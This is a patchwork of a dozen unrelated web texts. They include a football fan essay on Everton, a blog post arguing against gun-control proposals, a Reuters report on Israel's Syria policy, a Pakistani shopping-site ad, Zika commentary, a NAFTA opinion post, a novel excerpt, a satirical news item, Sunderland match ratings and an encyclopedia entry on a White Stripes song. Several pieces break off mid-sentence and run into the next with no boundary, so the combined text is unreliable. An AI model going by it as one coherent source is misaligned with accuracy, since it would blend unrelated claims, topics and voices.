It's the cost of doing business for the power clubs, but for Everton, it's a once-in-a-generation deal. And yet, amidst all the headline grabbing from the big clubs that Everton simply can't keep up with, the Toffees are in great shape to compete. The little engine that can—there's something oddly American, in a soccer sense, about that.
Clive Brunskill/Getty Images
Everton Can Actually Win
For new fans of the power clubs in the EPL—Chelsea, Arsenal, Liverpool, both Manchester clubs and perhaps even Tottenham—many of which try to buy their way to the top of the table each season, it must feel a bit like a new fan of Major League Baseball in America deciding to root for the New York Yankees, Boston Red Sox or Los Angeles Dodgers because it gives them the best chance to celebrate a title the fastest.
There is no shame in that, truly. If you're going to invest the time in a Premier League side, why not pick one that has a chance to actually win…which leads directly to the next point.
Everton can actually win. Sure, they're not in line for an EPL title this season, but with the young talent like Lukaku, Stones and Barkley that combines with the likes of Howard, Barry, McCarthy, Baines, Coleman, Phil Jagielka, Steven Pienaar, Sylvain Distin and Leon Osman—seriously, is there a more "American-style" underdog in the entire EPL than Osman?—and a host of other solid, but unspectacular, veterans, Everton should be able to legitimately compete for a top-four spot and challenge the power clubs all season long.
Everton are most certainly better than the sum of their parts. If you're going to pick a club to follow, you want to back a team that can win, but it's more American (kind of) to root for a team that can win "against all odds." Everton can do that.
Bebeto Matthews/Associated Press
You Can Watch Every Match
With NBC's current EPL deal, fans can watch every match either on television or online. Last season, Everton's early success and American connection with Howard had them on television a fair amount, with the other games available through NBC's Live Extra app.
This year, even more Everton games are on television, with a clear effort by NBC to use Howard as a means to grow more of an audience.
Two of the Toffees' first three matches are on NBC this season, and seven of the first 13 matches are on either NBC or NBCSN, with the rest available on additional networks or online.
If you pick a team outside of Manchester United or Arsenal or Liverpool or Chelsea, it's not like it was 10 years ago, or really even three years ago. Gone are the days of buying a jersey and being stuck reading game recaps or finding illegal online streams in order to raise your fan credibility. You can actually watch all the games. That's as good a reason as any for new fans to pay more attention this season, no matter which club you choose.
Only, it's pretty clear what team American fans should choose—certainly the new ones.
Follow @DanLevyThinksAnd by “helpful,” I mostly mean insane. The ephemeral nature of Barack Obama’s “actions” this week on gun control seems to have belatedly sunk into the national-media psyche, but common sense still appears in short supply. For instance, the Baltimore Sun’s Tricia Bishop wants the government to create a searchable online database so that parents can know which homes have firearms, in case their kids want to go play (via Twitchy):
I’m less afraid of the criminals wielding guns in Baltimore, I declared as we discussed the issue, than I am by those permitted gun owners. I know how to stay out of the line of Baltimore’s illegal gunfire; I have the luxury of being white and middle class in a largely segregated city that reserves most of its shootings for poor, black neighborhoods overtaken by “the game.” The closest I typically get to the action is feeling the chest-thumping vibrations of the Foxtrot police helicopter flying overhead in pursuit of someone who might be a few streets over, but might as well be a world away. But I don’t know where the legal gun owners are or how to ensure that their children, no matter how well versed in respecting firearms, won’t one day introduce that weapon to my daughter. And so, as President Barack Obama announced plans this week to tighten background checks for gun buyers and increase gun tracking and research, I thought, that’s all well and good, but how about adding something immediately useful: a gun owner registry available to the public online — something like those for sex offenders. I’m not equating gun owners with predatory perverts, but the model is helpful here; I want a searchable database I can consult to find out whether my kid can have a play date at your house.
Well, here’s a thought that seems to have eluded this Responsible Parent: Why not ask? Or does Helicopter Mom just let her kids play in other people’s houses without at least first engaging with the parents? Our house is past the age of play dates, except for our granddaughters, and their parents are already well aware of my status and the care I take in maintaining it. Just asking the parents first might put Bishop’s mind at ease, or at the very least will warn the others about Bishop’s priorities.
That would certainly work better than forcing thousands of law-abiding gun owners in her community to make their status public along with their address, turning the website into a targeting system for criminals who want to steal firearms. Oh, didn’t Bishop think of that? She probably also doesn’t realize that it will allow criminals to ascertain which homes do not have the means for effective self-defense, as Ed Driscoll points out. I wonder what that would do to her “luxury of being white and middle class” neighborhood. One thing’s for sure: it would bring that Foxtrot police helicopter closer more often than she likes.
At least former Consumer Product Safety Commission chair Ann Brown doesn’t want to expose the personal data of gun owners to anyone who might wish them harm. Instead, the former bureaucrat wants more regulation on bullets. Brown laments that Congress stopped the CPSC from arrogating that power in the 1970s, and wants Congress to reverse itself now:
In 1974, the CPSC’s first chairman made clear his belief that the agency could probably regulate ammunition, and a court agreed — whereupon a frightened Congress passed laws making it impossible even to try. Now is the time for the president to begin pushing to correct that mistake. Do I say this swayed by all the horrific mass shootings we have seen in the past few years? Only in part. These are the tragic, visible tip of an iceberg. While mass shootings attract headlines and our grief, bigger problems with guns often go unnoticed: the hundreds killed annually in intimate-partner violence; those killed by kids too young to know what pulling a trigger can do; the 21,000 Americans who commit suicide with a firearm each year. I admire the president for doing what he did this week. But the chance of achieving even a small reduction in this carnage through executive action is, well, small. And the chance of getting more effective gun-control measures through Congress this year is about zero.
Was Congress “frightened” in 1974? Doubtful. They were probably more annoyed that bureaucrats would attempt an end-around an explicit constitutional liberty by attempting to expand their jurisdiction without a clear mandate from the legislative branch.
So how would an “ammunition control” work? Brown explains:
That is the Consumer Product Safety Commission. Under Republican and Democratic presidents, the commission has worked with manufacturers to create flexible guidelines for all kinds of hazardous products. It didn’t ban cribs, walkers, toasters — or paint. It worked out ways to address what made them dangerous — and saved children in the process. The same flexible approach can work with ammunition. When someone who may be dangerous is prevented from buying ammunition, any gun he has hidden becomes like a car without gas: a useless hunk of metal. There are many ways to move ahead. We could license ammunition purchases like drivers, ban online purchases and mandate background checks for buyers.
If that sounds familiar, it should. It’s exactly what we do with firearms now. Clearly that has solved the problem of humans using tools for violent ends, yes? No? You don’t say. Besides, the CPSC most certainly does ban certain kinds of cribs, toasters, and paint, but it doesn’t regulate how much of an approved product people can buy. The FDA and DEA actually does do that with cold medicines like Sudafed to prevent the operation of meth labs. How well has that worked out? You don’t say.
Finally, my colleague Damon Linker at The Week wants to concentrate only on mass shootings with his policy recommendation. Unlike many on the Left, Linker thinks an “assault weapons” ban is pointless, but he wants to do something else with those weapons — force them to be stored at approved ranges at all times:
Leave single shot rifles alone. Leave most handguns alone. Leave laws on background checks and waiting periods alone. Instead, focus only on assault weapons. Define them to include all automatic and semi-automatic rifles, as well as high-capacity magazines that increase the number of bullets that can be fired by rifles and handguns without reloading. But don’t try to outlaw them, as the now-expired 1994 Federal Assault Weapons Ban did with some semi-automatic rifles. Simply require that they be purchased, stored, and used only at licensed dealers and firing ranges. Want to buy and shoot an AR-15 semiautomatic assault rifle, the gun that Syed Farook and Tashfeen Malik allegedly used to murder 14 and injure 22 in San Bernardino last month, and the primary weapon Adam Lanza used to carry out the Sandy Hook massacre? Go right ahead. But you will be required to keep and shoot it exclusively on the premises of an establishment that exists expressly for that purpose. Visit that range as often as you like. Shoot the weapon to your heart’s content. But you won’t be allowed to leave with it, walk the streets with it, bring it into your home, or sell it directly to any other private citizen. … Would such a regulation, if imposed and enforced nationally, save lives? You bet it would. How can we know that? Because in a mass shooting, time is bullets. Anything that slows down the shooter does some good. Imagine if, instead of firing semiautomatic assault rifles, the San Bernardino shooters had been limited to shooting hand guns with standard magazines. Maybe they would have murdered 7, or 9, or 11 instead of 14. Maybe they would have injured 11, or 14, or 17 instead of 22.
Or maybe they would have just kept reloading and shooting anyway. That’s what happened in the Virginia Tech and Fort Hood shootings, in which the perpetrators used handguns rather than long-barrel firearms. Nidal Hasan managed to shoot 214 rounds from a single pistol in his rampage. What Linker and others who focus on those miss is that magazines are relatively cheap, and the demented few who plan mass shootings would simply buy a couple of extra “standard” magazines for their insanity.
Besides, as FBI records on homicides show, long-barrel firearm homicides are a very small percentage of that type of crime. In 2014, rifles of all kinds (semiautomatic or not) accounted for 2% of all homicides, and just 3% of firearms homicides. Shotguns actually have a slight edge over rifles. More than twice as many homicides take place with “personal” weapons, meaning arms and legs, hands and feet. This proportion has been consistent for at least the last ten years since the expiration of the assault weapons ban. In fact, homicides by rifles of all kind have declined since the 2005 expiration from 435 in that year to 248 in 2014, almost cut in half. For that matter, firearms homicides of all kinds have dropped 25% in the ten years since the ban expired — from over 10,000 to 8,124 in 2014.
Linker responded to that criticism yesterday by saying he’s specifically targeting spree shooters. As noted above, though, not all spree shooters use rifles of any kind. More importantly, not all owners of so-called “assault weapons” are risks for spree shooting. On just the much-maligned AR-15.223 semiautomatic rifle alone, the US had 3.3 million in homes before Newtown, before the threat of another ban led to a sales boom. Even if every rifle homicide in 2014 was the result of an AR-15 and the AR-15 was the only semiautomatic rifle in existence, those homicides would represent 0.0075% of all AR-15s. Why should 99.9925% of owners of the AR-15 be forced to have their property stored outside of their home on the off chance that 0.0075% of people might use one in a crime? And what exactly would Linker suggest doing to ensure that any owners of AR-15s are in compliance? House raids?
These are deeply unserious proposals, based mostly on hysteria in an environment where gun violence is trending downward anyway. Gun ownership during the same period has trended upward, which should tell rational people that ownership of firearms (and bullets) in general is not correlative to gun violence. If any correlative conclusions are to be drawn, it’s that responsible gun ownership might actually discourage gun violence. Solutions to mass shootings involve dealing with the pathology of the shooters, not disarming law-abiding citizens.
Update: The math was off on the calculations for rifle homicides compared to total AR-15s. It’s 0.0075%, not 0.75%. I’ve fixed it — it makes the argument much stronger anyway — and thanks to Nemo in the comments for the correction.LOD, Israel (Reuters) - The dilemma Israel faces in trying to formulate a strategy on Syria two years into its civil war is symbolized by a case being heard in a small courtroom near Tel Aviv.
Hikmat Massarwa (R), a member of Israel's Arab minority, attends a remand hearing at the Central District Court in Lod, near Tel Aviv April 25, 2013. REUTERS/Baz Ratner
The state is prosecuting an Arab Israeli who briefly joined the rebel forces fighting to topple President Bashar al-Assad.
Arrested after his return to Israel, Hikmat Massarwa, a 29-year-old baker, is accused of unlawful military training, having contacts with foreign agents and traveling to a hostile state.
The trial hinges on the unanswered question of who, if anyone, Israel favors in the war and if the rebels will turn out to be friends or enemies.
The prosecutor in Lod is trying to depict Massarwa as having aligned himself with foes of Israel, but Judge Avraham Yaakov is struggling for clarity. “There’s no legal guidance regarding the rebel groups fighting in Syria,” he told a recent hearing.
Matters were simpler during the decades of unchallenged Assad family rule.
Technically Israeli is at war with its northern neighbor. It captured the Golan Heights in the 1967 Middle East War, built settlements and annexed the land. But belligerence was rare and the borderland has remained largely quiet for decades.
Assad’s Syria is part of the so-called Axis of Resistance along with Iran and Lebanon’s Hezbollah, both arch enemies of the Jewish state. But Syria itself avoided open conflict.
Israel was slow to welcome the uprising against Assad when it broke out in March 2011. Though some leaders now call for his overthrow, planners fret about what might follow.
“The question for us is no longer whether it is good or not if Assad stays in power, but how do we control our interests in this divided, murky situation which could last for decades,” said Ofer Shelah of the Yesh Atid party, which is part of the government coalition.
The dilemma has grown more acute since Islamist fighters linked to al-Qaeda assumed a prominent role in the rebels’ battle plans.
Israelis believe one in 10 of the rebels is a jihadi who might turn his gun on them once Assad is gone. They also worry that Hezbollah guerrillas allied to Assad could get hold of his chemical arsenal and other advanced weaponry.
So Israel has acted with restraint on Syria - shooting at its troops across the occupied Golan Heights only when hit by stray fire and playing down an Israeli airstrike on a suspected Hezbollah-bound convoy in January.
Officials say Israel has also been cool to Western proposals to increase aid to the Syrian rebels to help them match Assad’s superior armed forces.
One Israeli official told Reuters that he responds to any suggestions of a foreign military role with the question: “Do you really know on whose behalf you’ll be intervening?”
MIXED MESSAGES
But with Prime Minister Benjamin Netanyahu presiding over a new, right-leaning coalition and the Israeli military stretched by keeping vigil over several fronts - including Islamist-ruled Egypt - the message has been far from uniform.
Netanyahu may have contributed to this by framing Iran and its nuclear program as Israel’s overriding regional concern, bolstering the case for removing Tehran’s ally Assad.
When an Israeli intelligence analyst said last week that Assad’s forces had used chemical weapons, both the Netanyahu government and its foreign allies were blindsided, according to officials.
Washington confirmed the Israeli assessment, thus posing a problem for U.S. President Barack Obama, who had said use of chemical arms would be a “red line”.
Israel’s deputy foreign minister urged U.S. action in Syria - a call slapped down by more senior figures.
Israel’s ambassador to Washington, Michael Oren, said it was not making any policy recommendations to Obama on Syria.
“We think this issue is very complex,” he told Reuters.
Several officials said Israel would be unlikely to attack Syria unilaterally unless it had evidence that chemical weapons had been handed over to Hezbollah.
Lacking enough of the specialized ground troops that would be needed for a search-and-destroy sweep of chemical weapons, Israel would probably have to rely on aerial bombing.
The Netanyhau government might even acquiesce if the rebels acquire the chemical weapons, on the assumption that the insurgents were mainstream Syrians keen to rebuild their country and loath to invite catastrophic war with Israel.
“If the jihadis get the chemical weapons, that’s very bad, but there’s still the hope that these people lack the hard-core military wherewithal, and required technical support in Syria, that would be required to use them,” one Israeli official said.
Indeed, Israeli planners are debating to what extent the radical Sunni Islamists fighting Assad could eventually constitute a direct threat to Israel.
The chief military spokesman, Brigadier-General Yoav Mordechai, sounded the alarm last month by saying the “Global Jihad” - meaning al Qaeda and its affiliates - wielded the most clout on the Syrian-held side of the Golan Heights.
Other Israeli authorities are more optimistic. The Mossad intelligence agency estimates that Syria’s entrenched secularism will dilute enmity to Israel, according to one official.
“The Islamists there aren’t all Salafists, and the Salafists aren’t all al Qaeda, by any means,” the official said.
“We may not make peace, but I think we might find some kind of dialogue, if only for the sake of mutual deterrence.”
Israel has given no indication that it already has contacts with Syria’s opposition. But it has coordinated closely on security with Jordan, a supporter of some rebel factions.
Back in Judge Yaakov’s courtroom, the fate of Massarwa, who faces a maximum of 15 years in jail if |
website and it is done. The rules are for customers, and you are our family, so feel free to order anytime, anywhere.
The Trendsetters:
Coupons.pk is a trendsetter when it comes to fashion wear. Our handmade shoes, comfortable sneakers, pullover hoodies, t-shirts, and trousers are the reflection of our modern taste. Both for men and women, we have an attractive collection of outfits and footwear at best prices. Stay connected with us and watch out our latest products. Be the first to shop the apparel at coupons.pk and standout from the crowd.
Secure and Trusted Online Shopping in Pakistan with Payment on Delivery:
At Coupons.pk every purchase you make is secure because our all items come with 24 hours checking/replacement warranty without asking any stupid questions. This ensures that you are getting the same product for which you are paying. We don’t demand your personal information and the credit/debit card details. All you need to inform us is your basic information and the address for product delivery.
Now, what are you waiting for? Explore us and browse from our huge assortment of electronics, household items, kitchen appliances, personal gadgets, kids wear, men’s and women’s wear, and get them at your doorstep without any delivery charges and make Payment on delivery.The Zika virus continues to spread. Just this week, the Centers for Disease Control and Prevention added new countries to its travel advisory. The total number of cases is predicted to be between 3 and 4 million, although those figures are far from certain.
There are a lot of other unknowns about the virus. There’s some evidence, for example, that it may be linked to an increase in microcephaly cases in Brazil (although as Christie Aschwanden points out at FiveThirtyEight, that link will be hard to prove). And there are a lot of conspiracies, too, as Sarah Zhang points out at Wired: some claim the microcephaly cases are actually due to genetically-engineered mosquitoes, vaccines, and even the Rockefellers.
Perhaps the most explosive of these conspiracies is the one that says the microcephaly cases are caused by a larvicide called pyriproxyfen (which, by the way, is misspelled in the report that launched this conspiracy—not exactly a vote of confidence for accuracy). The report also claims the larvicide is sold by a Japanese subsidiary of Monsanto, which also isn’t true. In reality, pyriproxyfen is fairly benign for humans. It acts as a hormone disruptor in insects, including Zika-spreading mosquitoes, screwing up their development. The Japanese company Sumitomo produces the chemical, and the company is not owned by Monsanto (and, by the way, “Sumitomo” is also misspelled in that original report).
Still, the conspiracy has legs, as conspiracies about Monsanto do, and since then outlets including On the Media, USA Today, and more (as well as Zhang’s piece) have provided context for the claim, doing a good job of debunking it.
But another piece came out this week that makes me wonder about how the media—especially science journalists, including me—cover stories like this. It’s an essay by Maggie Koerth-Baker at Aeon, and it explores some of the assumptions and realities of vaccine-hesitant parents. These lines especially struck me:One of the first things President Trump did was pull out of the TPP.
So that's that, right? Not so fast.
The other 11 nations moved ahead with the now renamed Comprehensive and Progressive Trans-Pacific Partnership (CPTPP).
More importantly to you and me, Trump is doing what Obama flat-out refused to do - renegotiate NAFTA. It's here where you hear echoes of the TPP.
The damaging TPP chapter on intellectual property has been introduced, which would increase prices on medications by lengthening patent exclusivity, and aggressively enforce copyright of music and movie content. (If this is enacted, borrowing a friend’s CD could be a trade violation.) The tech industry is trying to maintain its dominance by writing into NAFTA that virtually no limits can be placed on data, whether for privacy or security reasons. And the financial-services industry wants to force deregulation by setting limits on rules through the agreement.
Some of the worst elements of the TPP are about to be incorporated into a renegotiated NAFTA.
Another part of NAFTA that people want renegotiated is for stronger labor and environmental standards.
Now, the Trump administration doesn’t support stronger labor and environmental standards in the United States, let alone in a trade agreement. So far, Lighthizer has only proposed the language from the Trans-Pacific Partnership, which is wholly inadequate.
So more of TPP in NAFTA, which doesn't really change anything.
However, before you get all depressed, there is a couple pieces of good news.
This includes a way for countries to opt out of the destructive investor-state dispute settlement (ISDS) scheme, where companies can sue governments for lost expected profits from changed regulations. The US proposal wouldn’t eliminate ISDS, but would let countries leave the system, and would throw out the worst aspects of the process.
It's only a half-step in the right direction, but it's a start.
The second piece of good news is that the TPP language has strong opponents - Silicon Valley.
The U.S. wants to limit allowances for online use of copyrighted material in Nafta, according to two people familiar with the U.S. proposal. That could upset companies like Google and Facebook, which would see that as less supportive of online platforms than existing U.S. law.
The third piece of good news is that the re-negotiations aren't going well, and NAFTA just might collapse in the process.
Some are giving it a 50-50 chance.
The Democrats appear divided over the NAFTA talks. Bernie Sanders is pushing Trump to be firm in the negotiations.
“When Donald Trump campaigned for president, he promised that he was going to stop corporations from shifting American jobs to Mexico,” Sanders said Wednesday at a rally for the #ReplaceNafta movement in Washington. “For once in your life, keep your promises.”
In related news, Trump is also pushing to re-negotiate KORUS, the free trade agreement between the U.S. and South Korea.We’re joined by Jesse Cohen from All the Kings Men, Liam from Lost in the Wild, and Joe and Naaim (Naaim like dime) from Podcast for a Rain Delay.
In this special marathon edition, we recap the St. Louis Blues season, perform a fitting funeral service, discuss the merits / disadvantages of ties in the NHL and even have a improptude broadcast team call a match of Rod Hockey between Nick & Nick while the rest of the gang argues about 3-on-3 OT hockey.
This episode will wrap up season 1 of Toast Dispatch Radio covering the Blues. Thanks to everyone for your support and for listening, we’ll be back next year for another season of Blues hockey!
If you enjoy baseball, keep an eye open for our Cardinals podcast which will be starting within the next few weeks.Appearing with the Indians at Tip’s the night before the convention opened hadn’t been my idea. Blame it on Ginny Tran, press secretary extraordinaire at 27. “It’ll be so cool,” she’d insisted. “The vice president’s campaign manager onstage at Tipitina’s. You were almost a rock star once, it’ll be fabulous. Show that we’re confident right before the convention. And anyway, you should get out. You look like crap.” So I’d left our war room down at the Windsor Court Hotel and committed to doing something enjoyable for a couple of hours. It had been so long, I’d forgotten what it was like.
Ginny was lying, of course. At least that part about me being almost a rock star. I’m sure she wasn’t lying that I looked like crap. I’d grown up in New Orleans and been a journeyman guitar player in a not-so-bad blues/funk band, my major distinction being that I was the only white guy in the group. What was really embarrassing—at least it would have been if anybody had known it—was that I’d made it into the band with the help of my father, Powell Callahan, one of the last white civil-rights heroes, or so everyone seemed to believe. Powell Callahan knew everybody in town. The lead singer in the band was the son of a lawyer, once a civil-rights lawyer, now a corporate hotshot just off Canal Street, an old friend of my father’s from the “movement days.” J. D. Callahan, the only guitarist who networked his way into a black/funk band. It was silly. They dumped me after a year.
Of course, I knew that a photo op with the Indians onstage at Tip’s wasn’t going to get us a single delegate, but I had gone along with it. Why not? It wouldn’t hurt, and if it made me look a little hip and cool and confident, that was just great. God knows I sure didn’t feel like any of those things. I hadn’t slept worth a damn in months, I had a woman candidate who was on the verge of becoming unglued at any moment, a force of nature called Armstrong George about to devour us like a hungry wolf, and, to top it all off, they had to go and have the damn convention in my hometown. For Christ’s sake, was God spending all of His time trying to screw with me, or just most of it.
But the big moment, the magic one, would come if we could just get a half-dozen more delegates and pull Hilda Smith back from the dead. Then, at least for a few days, I’d be a genius. And on the side, I could finish cutting my deal to have my own political show. That was the plan: make this my last campaign and get famous as a pundit. After months of work, it was all lined up, if I could just pull off this come-from-behind miracle. All I had to do was beat back the forces of darkness and vanquish Armstrong George. Even if we lost to Democratic senator Tommy Aldrich in the general election, at least I would be hailed for doing what no one expected—saving Hilda Smith. The show was going on the new Amazon Channel, and since I’d gone to them with the idea, all neatly packaged, I’d been able to keep partial ownership of the show. That meant quasi-serious dollars if the show worked and we found an audience. The deal was already signed, but they had an out clause if Hilda lost the nomination.CHICAGO—After remarking upon the frigid temperatures and blustery conditions during his walk into work this morning, Michael Halloran, an adjunct professor of communications and media studies, expressed hope Wednesday that one of his students would leave behind a pair of warm gloves. “It’d be great if someone accidentally dropped a couple of nice, thick gloves on their way out of the classroom or just forgot about them on the corner of their desk,” the 41-year-old Ph.D. said after hurrying across a chilly campus to teach his third course of the day, noting that last month someone left behind an umbrella that “really helped [him] out.” “Wool would be great, or Gore-Tex maybe, though really I’d be happy with anything. I’m not picky. A mismatched pair would be fine, too. I’d even take one glove if that’s all there was. Maybe I could use the hand with the glove to carry my bag and keep the bare hand in my pocket.” At press time, sources reported that the adjunct professor had hit the jackpot when he came across a scarf under a chair.
AdvertisementPhoto credit Bjorn Vaughn
Have you heard about the haze crisis in Indonesia? Or perhaps you haven’t, since until the last few days there seems to be no proper media coverage on what is now proving to be one of the worst environmental disasters of the 21st century. Many are calling it a crime against humanity and this should be front page news!
The most ancient rain forests on this planet are ablaze with thousands of fires. The islands of Borneo and Sumatra are hit the hardest and almost 100% of these fires have been deliberately started by men.
Borneo and Sumatra are the homes of last remaining populations of the great apes, the Orangutans, but these islands are also the home of some of the largest plantations in the world and setting the peatland on fire for the production of pulp, paper and palm oil is a practice that goes back more than 20 years. Each year this causes a big problem with the haze that the fires generate, except this year is like no other. Until recently, the fires were mostly confined to farmland, plantations, and areas of scrub and grassland. This is no longer the case. Peatland drainage and forest clearance, coupled with a severe drought caused by a strong El Niño weather system, have allowed peatland fires to take hold easily and accelerate rapidly, burning deep into some of the planet’s most important rain forests.We rate the Sunderland and Manchester United players’ performances, discuss the coaches’ selections and give our big-match verdict following Saturday’s match at the Stadium of Light.
Sunderland player ratings
Vito Mannone: Made a great save to deny Mata seconds before Martial’s equaliser and did little wrong throughout. 7
DeAndre Yedlin: Looked solid on his return to the side and used his pace to good effect both in defence and down the right flank. Shameless dive when losing possession blotted his copybook. 6
John O’Shea: Excellent positional play throughout and showed his experience by limiting United’s efforts on goal to shots outside the area. BT Sports’ man of the match – but not ours. 7
Lamine Kone: A solid presence alongside O’Shea and his towering header helped to earn Sunderland a priceless win. Looks a quality addition to the Sunderland side. 7.5
Patrick van Aanholt: Roved the flanks to great effect in the first half and underlined his status as Sunderland’s most improved player this term. Hit side-netting in the closing stages. 7
Jan Kirchoff: Started the game brightly and was looking comfortable in his defensive midfield role until a pulled hamstring forced his withdrawal early on. (Subbed on 15) 6
Lee Cattermole: Perhaps harsh, but his best work is done when not in possession and hustling and harrying the opposition, as well as organising the men around him. Still, worked hard and had a decent match. (Subbed on 85) 6.5
Yann M’Vila: Worked hard and broke up the United attacks when he could. Did his best to keep Sunderland moving forward and enjoyed a decent afternoon. 6.5
Wahbi Khazri: Justified Allardyce’s faith by scoring the early free-kick that handed Sunderland the lead and assisting Kone for the decisive second. An all-action display made him a constant thorn in Man United’s side. Sunderland’s best player and our man of the match. 8
Dame N’Doye: Put himself about on his first start for the club but missed a glorious chance to score when through on goal on the hour mark. 6
Jermain Defoe: Looked sharp throughout and had a couple of opportunities to score, while also playing a part in their opener by jumping over the ball. Surprisingly withdrawn during the second half. (Subbed on 71) 7
SUBS:
Jack Rodwell (on for Kirchoff, 15): Put himself about and work hard on a rare chance to shine for the Black Cats. Made a number of key blocks and looked comfortable in his position in front of the defence. 7
Fabio Borini (on for Defoe, 71): Put himself about, but doesn’t present anything like the goal threat that the man he replaced does. 6
Ola Toivonen (on for Cattermole, 85): Little time to make any impact. 6
Coach: Sam Allardyce handed first starts to January arrivals Wahbi Khazri and Dame N’Doye in a bold 4-1-3-2 formation, with fellow recent addition Jan Kirchoff selected in a defensive midfield position. However, despite the brilliant starts handed to Sunderland by Khazri, the early hamstring injury suffered by Kirchoff forced Allardyce into an early change – and a rare chance to impress on the big stage for Jack Rodwell.
DeAndre Yedlin was also handed a recall following Billy Jones’ mistake in the 2-2 draw at Liverpool and that was another selection change that was justified.
Verdict: Having helped Sunderland to claim their first ever win over Manchester United at the Stadium of Light, and their first home triumph over the Red Devils since March 1997, Allardyce can take huge pleasure from this win. He got his tactics spot on, clearly had his side fired up from the word go, and reacted smartly after Kirchoff’s early injury. His January additions look pretty decent too. Gives Sunderland a platform on which to mount (yet another) survival charge. 8
Manchester United ratings
David De Gea: By his own high standards, he probably ought to have done better with Khazri’s goal, but more than made amends when saving from N’Doye when through on goal and from Kone’s shot on the turn. Was unlucky to have been credited with an own goal for Sunderland’s winner. 7
Matteo Darmian: Supported the attack well and appears to have been developing a good understanding with Lingard down United’s right, until a ball from his team-mate sold him short and a clattering from Khazri forced his withdrawal due to a shoulder injury. Gave away the free-kick which led to Sunderland’s opener. (Subbed on 38) 6
Chris Smalling: Was having a decent game until he lost Kone for what was to prove Sunderland’s winner. Looked a threat at the other end, but he couldn’t save United from defeat. 6
Daley Blind: Fairly compentent display in the heart of defence but still to convince as a ‘United quality centre-half’. Made a crucial intervention to deflect Defoe’s goal-bound effort wide of goal. 6
Cameron Borthwick-Jackson: Got forward well, defended stoutly and is really starting to look the part for United. Growing in confidence and stature with every game and easily United’s best defender. 7
Morgan Schneiderlin: Protected the defence well and won the ball back more than any other player on the pitch, but the jury is still out on him and whether he really is Manchester United quality. (Subbed on 86) 6.5
Michael Carrick: Linked up play well and while he picked out a number of excellent passes, he was – unusually for him – also guilty of giving the ball away carelessly on a couple of occasions. Booked. 6
Jesse Lingard: Struggled to make an impact on the right side of United’s midfield and it was no surprise to see his withdrawal just after the hour. (Subbed on 62). 5
Juan Mata: Looks far more comfortable in a No 10 role and was at the heart of most of the good things United did in the final third. Worked hard for the cause and showed a willingness to take on the early shot but faded as the match progressed. Booked. 7
Anthony Martial: United’s best player and most potent attacking outlet. His running at the Sunderland defence kept them on the back foot all match and he showed excellent anticipation and finishing ability with a delicate chip from a narrow angle for the equaliser. Another who faded as the match progressed though. 7.5
Wayne Rooney: Had an OK afternoon but didn’t have a sniff of scoring and his best work was done by picking bringing those around him into play. Worked extremely hard as per usual. Booked. 6
SUBS:
Donald Love (on for Darmian, 38): Looked a little overwhelmed at first, but hardly a surprise given it was the youngster’s senior debut for the club. Grew into the match, and although fortunate to escape a booking, can reflect on his first appearance with pride. 6
Memphis Depay (on for Lingard, 62): Tried hard, saw a shot blocked for a possible equaliser, but by and large, once again failed to convince anyone that he’s a £25million footballer. 6
Will Keane (on for Schneiderlin 86): No time to make an impact. 6
Coach: Louis van Gaal made one change to his side that drew at Chelsea last weekend by replacing Marouane Fellaini for the recalled Morgan Schneiderlin. With Anthony Martial charged with attacking down the left, and Jesse Lingard – with support from Matteo Darmian down the right, Juan Mata was afforded a free No 10 role for United.
Showed his willingless to turn to United’s Academy once again with Borthwick-Jackson, Lingard, Keane and Love all involved in the matchday squad.
Verdict: Oh dear – another poor display from United and with the top four looking increasingly beyond United, surely his time at Old Trafford is coming to a close. To make it worse, the platform was there for United to go on and claim victory in the second half, before the Red Devils were out-fought and out-thought.
If this had been a Moyes side, he’d have been absolutely slaughtered, but from where I’m watching, this United team (De Gea, Borthwick-Jackson, Martial – and possibly Mata, aside) looks far from good enough. Needs to be replaced and a new man (Jose Mourinho?) to be given the rest of the season to assess his players before a summer of rebuilding. 3
By James Marshment"Seven Nation Army" (also stylized as "7 Nation Army") is a song by American rock duo The White Stripes. It was released as the lead single from their fourth studio album, Elephant, in March 2003, and reached number one on the Alternative Songs chart—maintaining that position for three weeks. It also became the third best-performing song of the decade on the same chart. It was well received commercially as well.
The song is known for its underlying riff, which plays throughout most of the song. Although it sounds like a bass guitar (an instrument the group had never previously used), the sound is actually created by running Jack White's semi-acoustic, 1950s-style Kay Hollowbody guitar through a DigiTech Whammy pedal set down an octave. A combination of the song's popularity, recognizable riff, and defiant lyrics led to it becoming the band's signature song. Often ranked as one of the greatest songs of the 2000s,[1] it has been used widely at sporting events and political protests internationally.
The song received two nominations for Best Rock Performance by a Duo or Group with Vocal and Best Rock Song at the 46th Annual Grammy Awards, winning the latter one.
Background and development [ edit ]
"Seven Nation Army" has its origins in a guitar riff that Jack White, the White Stripes' lead singer and guitarist, wrote in Corner Hotel in Melbourne, Australia, while the band was on tour in January 2002. He proceeded to show the riff to Ben Swank, who was traveling with the band for the tour; Swank responded, "It's OK."[2][3] Jack White later recalled that he "didn't even think that rhythm was that great, either".[4] After initially saving the riff in case he was ever asked to create a James Bond theme song, he decided to incorporate it into a song for the White Stripes, believing the aforementioned scenario to be unlikely.[2][note 1]
"Seven Nation Army" was recorded at Toe Rag Studios in Hackney, London, England, and was produced by Jack White.[5] He wrote "Seven Nation Army" as a "little experiment", hoping to create a compelling song that did not include a chorus.[6] The song's title originated from his mispronunciation of Salvation Army as a child.[7] The title "Seven Nation Army" was initially used as a placeholder for the track before its lyrics were written; the name ultimately stuck.[2]
Composition and lyrics [ edit ]
DigiTech Whammy was used to create the bass-like sound heard in the driving riff.
"Seven Nation Army" is an alternative rock[8] and garage rock[9] song with a length of three minutes and 52 seconds.[10] According to sheet music published by Universal Music Publishing Group, it is composed in the key of E minor in common time with a tempo of 120 beats per minute.[11] The song is driven by a riff that resembles the sound of a bass guitar.[12] To create this sound, Jack White connected a semi-acoustic guitar to a DigiTech Whammy Pedal that had been lowered one octave.[2] The riff uses five different pitches and consists of seven notes; it begins with a held note followed by four syncopated notes, ending with two notes that appear frequently in laments.[13] The song also features distorted vocals and a "heartbeat drum", played by White Stripes drummer Meg White.[14] Tom Maginnins noted that the song "manipulat[es] the power of tension and release": it creates a sense of "anticipatory energy", then transitions into what AllMusic's Tom Maginnis described as a "[wordless] crush of what stands for the chorus", consisting of an electric guitar and a "bashing crash cymbal".[9]
"Seven Nation Army" A 15-second sample from "Seven Nation Army", featuring the song's driving riff and its opening lyrics. Problems playing this file? See media help.
